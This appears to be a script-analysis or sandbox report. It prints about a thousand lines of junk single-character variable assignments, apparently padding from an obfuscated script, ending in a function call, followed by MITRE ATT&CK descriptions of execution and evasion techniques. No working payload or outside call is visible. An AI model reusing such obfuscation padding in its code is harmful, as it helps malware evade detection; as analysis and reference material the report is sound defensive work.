387	qiwxtn = "B";
388	qiwxtn = "k";
389	qiwxtn = "B";
390	qiwxtn = "t";
391	qiwxtn = "c";
392	qiwxtn = "n";
393	qiwxtn = "Q";
394	qiwxtn = "l";
395	qiwxtn = "p";
396	qiwxtn = "l";
397	qiwxtn = "&";
398	uyszbje = "u";
399	uyszbje = "r";
400	uyszbje = "M";
401	uyszbje = "B";
402	uyszbje = "x";
403	uyszbje = "m";
404	uyszbje = "t";
405	uyszbje = "x";
406	uyszbje = "l";
407	uyszbje = "C";
408	uyszbje = "w";
409	uyszbje = "z";
410	uyszbje = "d";
411	uyszbje = "J";
412	uyszbje = "O";
413	uyszbje = "K";
414	uyszbje = "N";
415	uyszbje = "b";
416	uyszbje = "X";
417	uyszbje = "r";
418	uyszbje = "E";
419	uyszbje = "r";
420	dclun = "s";
421	dclun = "h";
422	dclun = "S";
423	dclun = "t";
424	dclun = "A";
425	dclun = "W";
426	dclun = "l";
427	dclun = "U";
428	dclun = "L";
429	dclun = "d";
430	dclun = "L";
431	dclun = "K";
432	dclun = "N";
433	dclun = "M";
434	dclun = "P";
435	dclun = "k";
436	dclun = "x";
437	dclun = "X";
438	dclun = "n";
439	dclun = "U";
440	dclun = "Z";
441	dclun = "O";
442	trxeubzeo = "K";
443	trxeubzeo = "t";
444	trxeubzeo = "N";
445	trxeubzeo = "U";
446	trxeubzeo = "a";
447	trxeubzeo = "X";
448	trxeubzeo = "L";
449	trxeubzeo = "V";
450	trxeubzeo = "x";
451	trxeubzeo = "k";
452	trxeubzeo = "R";
453	trxeubzeo = "R";
454	trxeubzeo = "K";
455	trxeubzeo = "Y";
456	trxeubzeo = "a";
457	trxeubzeo = "E";
458	trxeubzeo = "y";
459	trxeubzeo = "@";
460	opcrn = "r";
461	opcrn = "K";
462	opcrn = "q";
463	opcrn = "u";
464	opcrn = "A";
465	opcrn = "o";
466	opcrn = "Q";
467	opcrn = "c";
468	opcrn = "m";
469	opcrn = "B";
470	opcrn = "W";
471	opcrn = "e";
472	opcrn = "W";
473	opcrn = "T";
474	opcrn = "Z";
475	opcrn = "O";
476	opcrn = "q";
477	opcrn = "x";
478	opcrn = "k";
479	opcrn = "Y";
480	opcrn = "l";
481	opcrn = "C";
482	opcrn = "y";
483	opcrn = "U";
484	opcrn = "i";
485	opcrn = "O";
486	opcrn = "F";
487	opcrn = "D";
488	opcrn = "I";
489	opcrn = "Y";
490	opcrn = "o";
491	opcrn = "J";
492	opcrn = "L";
493	opcrn = "U";
494	opcrn = "s";
495	opcrn = "N";
496	opcrn = "h";
497	opcrn = "t";
498	opcrn = "w";
499	opcrn = "Y";
500	zmysybow = "Z";
501	zmysybow = "r";
502	zmysybow = "N";
503	zmysybow = "j";
504	zmysybow = "g";
505	zmysybow = "B";
506	zmysybow = "Z";
507	zmysybow = "w";
508	zmysybow = "X";
509	zmysybow = "M";
510	zmysybow = "Z";
511	zmysybow = "i";
512	zmysybow = "U";
513	zmysybow = "f";
514	zmysybow = "s";
515	zmysybow = "Q";
516	zmysybow = "w";
517	zmysybow = "z";
518	zmysybow = "s";
519	zmysybow = "e";
520	zmysybow = "O";
521	zmysybow = "O";
522	zmysybow = "Z";
523	zmysybow = "%";
524	ywsgqy = "a";
525	ywsgqy = "l";
526	ywsgqy = "h";
527	ywsgqy = "k";
528	ywsgqy = "z";
529	ywsgqy = "L";
530	ywsgqy = "N";
531	ywsgqy = "B";
532	ywsgqy = "d";
533	ywsgqy = "y";
534	ywsgqy = "h";
535	ywsgqy = "A";
536	ywsgqy = "x";
537	ywsgqy = "S";
538	ywsgqy = "T";
539	ywsgqy = "D";
540	ywsgqy = "K";
541	ywsgqy = "g";
542	nemtbeb = "J";
543	nemtbeb = "d";
544	nemtbeb = "L";
545	nemtbeb = "Q";
546	nemtbeb = "J";
547	nemtbeb = "g";
548	nemtbeb = "a";
549	nemtbeb = "E";
550	nemtbeb = "V";
551	nemtbeb = "a";
552	nemtbeb = "W";
553	nemtbeb = "R";
554	nemtbeb = "Z";
555	nemtbeb = "A";
556	nemtbeb = "v";
557	nemtbeb = "z";
558	nemtbeb = "o";
559	ebcuodfzd = "L";
560	ebcuodfzd = "L";
561	ebcuodfzd = "f";
562	ebcuodfzd = "b";
563	ebcuodfzd = "x";
564	ebcuodfzd = "J";
565	ebcuodfzd = "l";
566	ebcuodfzd = "s";
567	ebcuodfzd = "N";
568	ebcuodfzd = "R";
569	ebcuodfzd = "O";
570	ebcuodfzd = "O";
571	ebcuodfzd = "w";
572	ebcuodfzd = "W";
573	ebcuodfzd = "K";
574	ebcuodfzd = "X";
575	ebcuodfzd = "o";
576	ebcuodfzd = "R";
577	ebcuodfzd = "E";
578	ebcuodfzd = "k";
579	ebcuodfzd = "W";
580	ebcuodfzd = "L";
581	ebcuodfzd = "F";
582	ebcuodfzd = "j";
583	ebcuodfzd = "L";
584	ebcuodfzd = "O";
585	ebcuodfzd = "z";
586	ebcuodfzd = "x";
587	ebcuodfzd = "v";
588	ebcuodfzd = "q";
589	ebcuodfzd = "J";
590	ebcuodfzd = "W";
591	ebcuodfzd = "l";
592	ebcuodfzd = "j";
593	ebcuodfzd = "X";
594	ebcuodfzd = "e";
595	ebcuodfzd = "q";
596	ebcuodfzd = "B";
597	ebcuodfzd = "u";
598	ebcuodfzd = "R";
599	itwqicl = "Y";
600	itwqicl = "L";
601	itwqicl = "R";
602	itwqicl = "X";
603	itwqicl = "z";
604	itwqicl = "Z";
605	itwqicl = "d";
606	itwqicl = "P";
607	itwqicl = "G";
608	itwqicl = "T";
609	dcaukb = "X";
610	dcaukb = "R";
611	dcaukb = "y";
612	dcaukb = "n";
613	dcaukb = "G";
614	dcaukb = "i";
615	dcaukb = "M";
616	dcaukb = "D";
617	dcaukb = "i";
618	dcaukb = "i";
619	dcaukb = "q";
620	dcaukb = "M";
621	dcaukb = "q";
622	dcaukb = "b";
623	dcaukb = "B";
624	dcaukb = "t";
625	dcaukb = "B";
626	dcaukb = "l";
627	dcaukb = "N";
628	tlmjhwace = "V";
629	tlmjhwace = "z";
630	tlmjhwace = "P";
631	tlmjhwace = "H";
632	tlmjhwace = "A";
633	tlmjhwace = "U";
634	tlmjhwace = "Y";
635	tlmjhwace = "R";
636	tlmjhwace = "W";
637	tlmjhwace = "b";
638	tlmjhwace = "H";
639	tlmjhwace = "p";
640	tlmjhwace = "s";
641	tlmjhwace = "s";
642	tlmjhwace = "X";
643	tlmjhwace = "A";
644	tlmjhwace = "s";
645	tlmjhwace = "H";
646	galpqymmp = "y";
647	galpqymmp = "a";
648	galpqymmp = "q";
649	galpqymmp = "y";
650	galpqymmp = "N";
651	galpqymmp = "M";
652	galpqymmp = "q";
653	galpqymmp = "N";
654	galpqymmp = "A";
655	galpqymmp = "R";
656	galpqymmp = "g";
657	galpqymmp = "v";
658	galpqymmp = "A";
659	galpqymmp = "I";
660	galpqymmp = "J";
661	galpqymmp = "C";
662	galpqymmp = "R";
663	galpqymmp = "x";
664	galpqymmp = "U";
665	galpqymmp = "W";
666	galpqymmp = "L";
667	galpqymmp = "a";
668	galpqymmp = "B";
669	galpqymmp = ".";
670	bzbyjg = "k";
671	bzbyjg = "X";
672	bzbyjg = "O";
673	bzbyjg = "C";
674	bzbyjg = "s";
675	bzbyjg = "r";
676	bzbyjg = "g";
677	bzbyjg = "q";
678	bzbyjg = "c";
679	bzbyjg = "S";
680	bzbyjg = "l";
681	bzbyjg = "f";
682	bzbyjg = "S";
683	bzbyjg = "C";
684	bzbyjg = "V";
685	bzbyjg = "G";
686	bzbyjg = "k";
687	bzbyjg = "I";
688	bzbyjg = "m";
689	bzbyjg = "Q";
690	bzbyjg = "H";
691	bzbyjg = "f";
692	bzbyjg = "D";
693	bzbyjg = "u";
694	bzbyjg = "W";
695	bzbyjg = "o";
696	bzbyjg = "E";
697	bzbyjg = "d";
698	bzbyjg = "O";
699	bzbyjg = "C";
700	hyinjmcf = "g";
701	hyinjmcf = "f";
702	hyinjmcf = "g";
703	hyinjmcf = "s";
704	hyinjmcf = "F";
705	hyinjmcf = "g";
706	hyinjmcf = "q";
707	hyinjmcf = "G";
708	hyinjmcf = "O";
709	hyinjmcf = "R";
710	hyinjmcf = "D";
711	hyinjmcf = "z";
712	hyinjmcf = "s";
713	hyinjmcf = "V";
714	hyinjmcf = "l";
715	hyinjmcf = "Z";
716	hyinjmcf = "f";
717	hyinjmcf = "t";
718	hyinjmcf = "a";
719	hyinjmcf = "S";
720	hyinjmcf = "E";
721	hyinjmcf = "h";
722	hyinjmcf = "F";
723	hyinjmcf = "u";
724	hyinjmcf = "o";
725	hyinjmcf = "D";
726	hyinjmcf = "s";
727	hyinjmcf = "F";
728	oiumyzm = "m";
729	oiumyzm = "p";
730	oiumyzm = "m";
731	oiumyzm = "E";
732	oiumyzm = "Q";
733	oiumyzm = "H";
734	oiumyzm = "V";
735	oiumyzm = "W";
736	oiumyzm = "C";
737	oiumyzm = "C";
738	oiumyzm = "u";
739	oiumyzm = "I";
740	oiumyzm = "B";
741	oiumyzm = "h";
742	oiumyzm = "g";
743	oiumyzm = "Y";
744	oiumyzm = "o";
745	oiumyzm = "R";
746	oiumyzm = "a";
747	oiumyzm = "T";
748	oiumyzm = "Y";
749	oiumyzm = "i";
750	yirguh = "x";
751	yirguh = "L";
752	yirguh = "e";
753	yirguh = "v";
754	yirguh = "K";
755	yirguh = "F";
756	yirguh = "y";
757	yirguh = "K";
758	yirguh = "d";
759	yirguh = "l";
760	yirguh = "J";
761	yirguh = "p";
762	yirguh = "b";
763	yirguh = "C";
764	yirguh = "Q";
765	yirguh = "T";
766	yirguh = "V";
767	yirguh = "g";
768	yirguh = "D";
769	yirguh = "B";
770	yirguh = "D";
771	yirguh = "x";
772	yirguh = "C";
773	yirguh = "Y";
774	yirguh = "d";
775	yirguh = "l";
776	yirguh = "m";
777	yirguh = "U";
778	yirguh = "J";
779	yirguh = "j";
780	yirguh = "m";
781	yirguh = "b";
782	yirguh = "M";
783	yirguh = "J";
784	yirguh = "H";
785	yirguh = "j";
786	yirguh = "Q";
787	yirguh = "a";
788	yirguh = "i";
789	yirguh = "b";
790	yirguh = "k";
791	yirguh = "w";
792	yirguh = "l";
793	hrkfmqm = "R";
794	hrkfmqm = "X";
795	hrkfmqm = "U";
796	hrkfmqm = "G";
797	hrkfmqm = "m";
798	hrkfmqm = "C";
799	hrkfmqm = "f";
800	hrkfmqm = "v";
801	hrkfmqm = "j";
802	hrkfmqm = "Q";
803	hrkfmqm = "L";
804	hrkfmqm = "R";
805	hrkfmqm = "A";
806	hrkfmqm = "u";
807	hrkfmqm = "S";
808	hrkfmqm = "V";
809	hrkfmqm = "f";
810	hrkfmqm = "q";
811	hrkfmqm = "W";
812	hrkfmqm = "z";
813	hrkfmqm = "E";
814	hrkfmqm = "O";
815	hrkfmqm = "r";
816	hrkfmqm = "M";
817	hrkfmqm = "F";
818	hrkfmqm = "J";
819	hrkfmqm = "o";
820	hrkfmqm = "X";
821	hrkfmqm = "g";
822	hrkfmqm = "z";
823	hrkfmqm = "e";
824	tyoja = "p";
825	tyoja = "r";
826	tyoja = "R";
827	tyoja = "n";
828	tyoja = "U";
829	tyoja = "J";
830	tyoja = "C";
831	tyoja = "C";
832	tyoja = "l";
833	tyoja = "s";
834	tyoja = "P";
835	tyoja = "c";
836	tyoja = "C";
837	tyoja = "A";
838	tyoja = "s";
839	tyoja = "E";
840	tyoja = "I";
841	tyoja = "R";
842	tyoja = "Q";
843	tyoja = "b";
844	tyoja = "Z";
845	tyoja = "b";
846	tyoja = "W";
847	tyoja = "7";
848	svkjaank = "C";
849	svkjaank = "h";
850	svkjaank = "Y";
851	svkjaank = "B";
852	svkjaank = "A";
853	svkjaank = "d";
854	svkjaank = "u";
855	svkjaank = "W";
856	svkjaank = "k";
857	svkjaank = "I";
858	svkjaank = "6";
859	pemers = "w";
860	pemers = "J";
861	pemers = "d";
862	pemers = "m";
863	pemers = "x";
864	pemers = "b";
865	pemers = "e";
866	pemers = "z";
867	pemers = "w";
868	pemers = "t";
869	pemers = "m";
870	pemers = "C";
871	pemers = "d";
872	pemers = "A";
873	pemers = "a";
874	pemers = "D";
875	pemers = "V";
876	pemers = "s";
877	pemers = "o";
878	pemers = "e";
879	pemers = "r";
880	pemers = "i";
881	pemers = "G";
882	pemers = "T";
883	pemers = "D";
884	pemers = "f";
885	pemers = "d";
886	mjhjrr = "w";
887	mjhjrr = "V";
888	mjhjrr = "l";
889	mjhjrr = "i";
890	mjhjrr = "l";
891	mjhjrr = "n";
892	mjhjrr = "n";
893	mjhjrr = "r";
894	mjhjrr = "z";
895	mjhjrr = "H";
896	mjhjrr = "s";
897	mjhjrr = "j";
898	iqefdrok = "g";
899	iqefdrok = "f";
900	iqefdrok = "V";
901	iqefdrok = "N";
902	iqefdrok = "Q";
903	iqefdrok = "q";
904	iqefdrok = "Z";
905	iqefdrok = "k";
906	iqefdrok = "Q";
907	iqefdrok = "z";
908	iqefdrok = "b";
909	iqefdrok = "h";
910	iqefdrok = "g";
911	iqefdrok = "C";
912	iqefdrok = "U";
913	iqefdrok = "n";
914	iqefdrok = "q";
915	iqefdrok = "j";
916	iqefdrok = "v";
917	iqefdrok = "L";
918	iqefdrok = "r";
919	iqefdrok = "w";
920	iqefdrok = "z";
921	iqefdrok = "j";
922	iqefdrok = "N";
923	iqefdrok = "X";
924	iqefdrok = "m";
925	iqefdrok = "q";
926	iqefdrok = "x";
927	iqefdrok = "B";
928	iqefdrok = "l";
929	iqefdrok = "g";
930	iqefdrok = "z";
931	iqefdrok = "Z";
932	iqefdrok = "w";
933	iqefdrok = "K";
934	iqefdrok = "Z";
935	iqefdrok = "B";
936	iqefdrok = "u";
937	iqefdrok = "R";
938	iqefdrok = "S";
939	iqefdrok = "v";
940	iqefdrok = "9";
941	jyemqebk = "A";
942	jyemqebk = "d";
943	jyemqebk = "T";
944	jyemqebk = "l";
945	jyemqebk = "i";
946	jyemqebk = "V";
947	jyemqebk = "A";
948	jyemqebk = "m";
949	jyemqebk = "u";
950	jyemqebk = "a";
951	jyemqebk = "d";
952	jyemqebk = "P";
953	jyemqebk = "-";
954	lbcjn = "A";
955	lbcjn = "t";
956	lbcjn = "R";
957	lbcjn = "Z";
958	lbcjn = "L";
959	lbcjn = "A";
960	lbcjn = "Q";
961	lbcjn = "Y";
962	lbcjn = "T";
963	lbcjn = "Z";
964	lbcjn = "N";
965	lbcjn = "C";
966	lbcjn = "N";
967	lbcjn = "M";
968	lbcjn = "c";
969	lbcjn = "F";
970	lbcjn = "B";
971	lbcjn = "l";
972	lbcjn = "J";
973	lbcjn = "O";
974	lbcjn = "X";
975	lbcjn = "M";
976	lbcjn = "r";
977	lbcjn = "s";
978	lbcjn = "j";
979	lbcjn = "C";
980	lbcjn = "X";
981	lbcjn = "l";
982	lbcjn = "K";
983	lbcjn = "o";
984	lbcjn = "K";
985	lbcjn = "h";
986	lbcjn = "M";
987	lbcjn = "C";
988	lbcjn = "v";
989	lbcjn = "f";
990	lbcjn = "P";
991	humybppk = "C";
992	humybppk = "Y";
993	humybppk = "I";
994	humybppk = "t";
995	humybppk = "i";
996	humybppk = "u";
997	humybppk = "\"";
998	ywuuhyly = "N";
999	ywuuhyly = "d";
1000	ywuuhyly = "y";
1001	ywuuhyly = "h";
1002	ywuuhyly = "M";
1003	ywuuhyly = "j";
1004	ywuuhyly = "i";
1005	ywuuhyly = "k";
1006	ywuuhyly = "M";
1007	ywuuhyly = "b";
1008	ywuuhyly = "I";
1009	ywuuhyly = "k";
1010	ywuuhyly = "D";
1011	ywuuhyly = "i";
1012	ywuuhyly = "P";
1013	ywuuhyly = "K";
1014	ywuuhyly = "g";
1015	ywuuhyly = "B";
1016	ywuuhyly = "P";
1017	ywuuhyly = "w";
1018	ywuuhyly = "y";
1019	ywuuhyly = "R";
1020	ywuuhyly = "p";
1021	ywuuhyly = "W";
1022	ywuuhyly = "B";
1023	ywuuhyly = "h";
1024	ywuuhyly = "V";
1025	ywuuhyly = "w";
1026	yfyuph = "x";
1027	yfyuph = "i";
1028	yfyuph = "H";
1029	yfyuph = "v";
1030	bfesl = "R";
1031	bfesl = "J";
1032	bfesl = "L";
1033	bfesl = "F";
1034	bfesl = "x";
1035	bfesl = "N";
1036	bfesl = "j";
1037	bfesl = "e";
1038	bfesl = "L";
1039	bfesl = "U";
1040	bfesl = ":";
1041	ztvyhre = "H";
1042	ztvyhre = "I";
1043	ztvyhre = "B";
1044	ztvyhre = "S";
1045	ztvyhre = "f";
1046	ztvyhre = "E";
1047	ztvyhre = "i";
1048	ztvyhre = "v";
1049	ztvyhre = "H";
1050	ztvyhre = "y";
1051	ztvyhre = "E";
1052	ztvyhre = "j";
1053	ztvyhre = "N";
1054	ztvyhre = "j";
1055	ztvyhre = "y";
1056	ztvyhre = "M";
1057	ztvyhre = "q";
1058	ztvyhre = "I";
1059	ztvyhre = "d";
1060	ztvyhre = "K";
1061	ztvyhre = "i";
1062	ztvyhre = "P";
1063	ztvyhre = "U";
1064	ztvyhre = "l";
1065	ztvyhre = "m";
1066	ztvyhre = "s";
1067	ztvyhre = "C";
1068	ztvyhre = "P";
1069	ztvyhre = "W";
1070	ztvyhre = "p";
1071	ztvyhre = "M";
1072	ztvyhre = "E";
1073	ztvyhre = "S";
1074	ztvyhre = "D";
1075	ztvyhre = "t";
1076	gzclpq = "H";
1077	gzclpq = "X";
1078	gzclpq = "j";
1079	gzclpq = "s";
1080	gzclpq = "u";
1081	gzclpq = "Q";
1082	gzclpq = "l";
1083	gzclpq = "w";
1084	gzclpq = "X";
1085	gzclpq = "U";
1086	gzclpq = "Z";
1087	gzclpq = "J";
1088	gzclpq = "s";
1089	gzclpq = "l";
1090	gzclpq = "O";
1091	gzclpq = "d";
1092	gzclpq = "n";
1093	gzclpq = "K";
1094	gzclpq = "M";
1095	gzclpq = "C";
1096	gzclpq = "g";
1097	gzclpq = "p";
1098	gzclpq = "N";
1099	gzclpq = "F";
1100	gzclpq = "J";
1101	gzclpq = "K";
1102	gzclpq = "x";
1103	gzclpq = "A";
1104	gzclpq = "k";
1105	qywcirwi = "a";
1106	qywcirwi = "m";
1107	qywcirwi = "c";
1108	qywcirwi = "K";
1109	qywcirwi = "a";
1110	qywcirwi = "j";
1111	qywcirwi = "L";
1112	qywcirwi = "N";
1113	qywcirwi = "S";
1114	qywcirwi = "Q";
1115	qywcirwi = "l";
1116	qywcirwi = "K";
1117	qywcirwi = "l";
1118	qywcirwi = "T";
1119	qywcirwi = "S";
1120	qywcirwi = "J";
1121	qywcirwi = "H";
1122	qywcirwi = "e";
1123	qywcirwi = "h";
1124	qywcirwi = "K";
1125	qywcirwi = "C";
1126	qywcirwi = "P";
1127	qywcirwi = "r";
1128	qywcirwi = "B";
1129	qywcirwi = "O";
1130	qywcirwi = "P";
1131	qywcirwi = "q";
1132	qywcirwi = "D";
1133	qywcirwi = "W";
1134	qywcirwi = "P";
1135	qywcirwi = "l";
1136	qywcirwi = " ";
1137	vdyssjf = "v";
1138	vdyssjf = "X";
1139	vdyssjf = "q";
1140	vdyssjf = "r";
1141	vdyssjf = "k";
1142	vdyssjf = "C";
1143	vdyssjf = "R";
1144	vdyssjf = "L";
1145	vdyssjf = "A";
1146	vdyssjf = "U";
1147	vdyssjf = "J";
1148	vdyssjf = "L";
1149	vdyssjf = "m";
1150	vdyssjf = "J";
1151	vdyssjf = "x";
1152	vdyssjf = "r";
1153	vdyssjf = "L";
1154	vdyssjf = "f";
1155	vdyssjf = "w";
1156	vdyssjf = "U";
1157	vubnx = "B";
1158	vubnx = "z";
1159	vubnx = "L";
1160	vubnx = "g";
1161	vubnx = "W";
1162	vubnx = "M";
1163	vubnx = "s";
1164	vubnx = "w";
1165	vubnx = "D";
1166	vubnx = "t";
1167	vubnx = "a";
1168	vubnx = "l";
1169	vubnx = "H";
1170	vubnx = "q";
1171	vubnx = "r";
1172	vubnx = "t";
1173	vubnx = "G";
1174	vubnx = "W";
1175	vubnx = "O";
1176	vubnx = "l";
1177	vubnx = "h";
1178	vubnx = "2";
1179	hjqypszn = "V";
1180	hjqypszn = "d";
1181	hjqypszn = "a";
1182	hjqypszn = "i";
1183	hjqypszn = "m";
1184	hjqypszn = "i";
1185	hjqypszn = "L";
1186	hjqypszn = "S";
1187	hjqypszn = "Z";
1188	hjqypszn = "g";
1189	hjqypszn = "Z";
1190	hjqypszn = "c";
1191	hjqypszn = "z";
1192	hjqypszn = "O";
1193	hjqypszn = "y";
1194	hjqypszn = "v";
1195	hjqypszn = "T";
1196	hjqypszn = "B";
1197	hjqypszn = "j";
1198	hjqypszn = "z";
1199	hjqypszn = "p";
1200	hjqypszn = "f";
1201	hjqypszn = "I";
1202	hjqypszn = "X";
1203	hjqypszn = "B";
1204	hjqypszn = "b";
1205	hjqypszn = "r";
1206	hjqypszn = "K";
1207	hjqypszn = "z";
1208	hjqypszn = "O";
1209	hjqypszn = "v";
1210	hjqypszn = "q";
1211	hjqypszn = "t";
1212	hjqypszn = "o";
1213	hjqypszn = "B";
1214	hjqypszn = "a";
1215	hjqypszn = "m";
1216	hjqypszn = "Q";
1217	hjqypszn = "d";
1218	hjqypszn = "W";
1219	hjqypszn = "x";
1220	qjpnmj = "H";
1221	qjpnmj = "x";
1222	qjpnmj = "F";
1223	qjpnmj = "F";
1224	qjpnmj = "T";
1225	qjpnmj = "s";
1226	qjpnmj = "c";
1227	qjpnmj = "r";
1228	qjpnmj = "t";
1229	qjpnmj = "X";
1230	qjpnmj = "O";
1231	qjpnmj = "E";
1232	qjpnmj = "T";
1233	qjpnmj = "o";
1234	qjpnmj = "u";
1235	aacjsqc = "p";
1236	aacjsqc = "j";
1237	aacjsqc = "A";
1238	aacjsqc = "u";
1239	aacjsqc = "F";
1240	aacjsqc = "S";
1241	aacjsqc = "H";
1242	aacjsqc = "q";
1243	aacjsqc = "i";
1244	aacjsqc = "N";
1245	aacjsqc = "d";
1246	aacjsqc = "f";
1247	aacjsqc = "g";
1248	aacjsqc = "E";
1249	aacjsqc = "H";
1250	aacjsqc = "N";
1251	aacjsqc = "l";
1252	aacjsqc = "i";
1253	aacjsqc = "E";
1254	aacjsqc = "x";
1255	aacjsqc = "z";
1256	aacjsqc = "s";
1257	aacjsqc = "Q";
1258	aacjsqc = "Y";
1259	aacjsqc = "b";
1260	aacjsqc = "q";
1261	aacjsqc = "o";
1262	aacjsqc = "m";
1263	aacjsqc = "w";
1264	aacjsqc = "Y";
1265	aacjsqc = "y";
1266	aacjsqc = "Z";
1267	aacjsqc = "S";
1268	aacjsqc = "z";
1269	aacjsqc = "l";
1270	aacjsqc = "f";
1271	aacjsqc = "h";
1272	jisvcefdg = "s";
1273	jisvcefdg = "Q";
1274	khpdx = "V";
1275	khpdx = "C";
1276	khpdx = "p";
1277	khpdx = "H";
1278	khpdx = "m";
1279	khpdx = "B";
1280	khpdx = "p";
1281	khpdx = "F";
1282	khpdx = "K";
1283	khpdx = "n";
1284	khpdx = "C";
1285	khpdx = "h";
1286	khpdx = "u";
1287	khpdx = "P";
1288	khpdx = "b";
1289	khpdx = "B";
1290	khpdx = "G";
1291	khpdx = "L";
1292	khpdx = "D";
1293	khpdx = "s";
1294	khpdx = "a";
1295	khpdx = "X";
1296	khpdx = "d";
1297	khpdx = "p";
1298	khpdx = "x";
1299	khpdx = "h";
1300	khpdx = "Z";
1301	khpdx = "T";
1302	khpdx = "L";
1303	khpdx = "n";
1304	khpdx = "Z";
1305	khpdx = "d";
1306	khpdx = "w";
1307	khpdx = "b";
1308	ysqrrx = "o";
1309	ysqrrx = "g";
1310	ysqrrx = "q";
1311	ysqrrx = "w";
1312	ysqrrx = "x";
1313	ysqrrx = "Q";
1314	ysqrrx = "Z";
1315	ysqrrx = "q";
1316	ysqrrx = "K";
1317	ysqrrx = "x";
1318	ysqrrx = "F";
1319	ysqrrx = "i";
1320	ysqrrx = "P";
1321	ysqrrx = "d";
1322	ysqrrx = "n";
1323	ysqrrx = "X";
1324	ysqrrx = "s";
1325	ysqrrx = "S";
1326	ysqrrx = "p";
1327	ysqrrx = "x";
1328	ysqrrx = "v";
1329	ysqrrx = "J";
1330	ysqrrx = "K";
1331	ysqrrx = "L";
1332	ysqrrx = "D";
1333	ysqrrx = "c";
1334	ysqrrx = "k";
1335	ysqrrx = "I";
1336	ysqrrx = "B";
1337	ysqrrx = "j";
1338	ysqrrx = "W";
1339	ysqrrx = "0";
1340	qounm = "b";
1341	qounm = "g";
1342	qounm = "Z";
1343	qounm = "d";
1344	qounm = "I";
1345	qounm = "F";
1346	qounm = "v";
1347	qounm = "y";
1348	qounm = "G";
1349	qounm = "R";
1350	qounm = "K";
1351	qounm = "j";
1352	qounm = "K";
1353	qounm = "j";
1354	qounm = "U";
1355	qounm = "k";
1356	qounm = "s";
1357	qounm = "r";
1358	qounm = "h";
1359	qounm = "A";
1360	qounm = "y";
1361	qounm = "O";
1362	qounm = "x";
1363	qounm = "S";
1364	qounm = "o";
1365	qounm = "B";
1366	qounm = "Z";
1367	qounm = "h";
1368	qounm = "A";
1369	qounm = "q";
1370	qounm = "A";
1371	qounm = "m";
1372	qounm = "q";
1373	qounm = "K";
1374	qounm = "z";
1375	qounm = "s";
1376	qounm = "a";
1377	qounm = "L";
1378	qounm = "S";
1379	qounm = "W";
1380	jfdwnlv = "c";
1381	jfdwnlv = "b";
1382	jfdwnlv = "Z";
1383	jfdwnlv = "k";
1384	jfdwnlv = "F";
1385	jfdwnlv = "G";
1386	jfdwnlv = "q";
1387	jfdwnlv = "m";
1388	jfdwnlv = "S";
1389	jfdwnlv = "F";
1390	jfdwnlv = "C";
1391	jfdwnlv = "l";
1392	jfdwnlv = "y";
1393	jfdwnlv = "u";
1394	jfdwnlv = "Y";
1395	jfdwnlv = "R";
1396	jfdwnlv = "l";
1397	jfdwnlv = "T";
1398	jfdwnlv = "O";
1399	jfdwnlv = "T";
1400	jfdwnlv = "i";
1401	jfdwnlv = "t";
1402	jfdwnlv = "D";
1403	jfdwnlv = "K";
1404	jfdwnlv = "G";
1405	jfdwnlv = "M";
1406	jfdwnlv = "Z";
1407	jfdwnlv = "q";
1408	jfdwnlv = "m";
1409	gnyefgo = "t";
1410	gnyefgo = "A";
1411	gnyefgo = "E";
1412	gnyefgo = "c";
1413	gnyefgo = "v";
1414	gnyefgo = "m";
1415	gnyefgo = "n";
1416	gnyefgo = "J";
1417	gnyefgo = "f";
1418	cghgcyg ( );	cghgcyg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

